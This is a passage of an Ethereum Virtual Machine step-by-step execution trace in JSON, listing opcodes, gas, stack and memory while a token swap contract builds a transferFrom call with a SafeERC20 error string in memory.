95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x240"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15470,"op":"DUP4","gas":95826,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15471,"op":"DUP3","gas":95823,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15472,"op":"ADD","gas":95820,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","0x2e4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15473,"op":"MSTORE","gas":95817,"gasCost":6,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","0x2e4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656400000000000000000000000000000000000000000000000000000000"]},{"pc":15474,"op":"PUSH1","gas":95811,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15476,"op":"ADD","gas":95808,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15477,"op":"PUSH2","gas":95805,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15480,"op":"JUMP","gas":95802,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x3c61"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15457,"op":"JUMPDEST","gas":95794,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15458,"op":"DUP4","gas":95793,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15459,"op":"DUP2","gas":95790,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x3406","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x2a4","0x60","0x1c8f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x220","0x0","0x2a4","0x60","0x0","0x0","0x4c711efa05b78582f07d9d960b1dadde95688166","0x0","0x3597","0x220","0x2e4","0x0","0x64","0x3c9c","0x64","0x2e4","0x240","0x20","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000002e4","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","23b872dd000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000","000000205361666545524332303a206c6f772d6c6576656c2063616c6c206661","696c656423b872dd000000000000000000000000cbf29dbd33b811bab2f0637e","9f0fe4e700000000000000000000000000000000000000000000000000000000"]},{"pc":15460,"op":"LT","gas":95787,"gasCost":3,"dept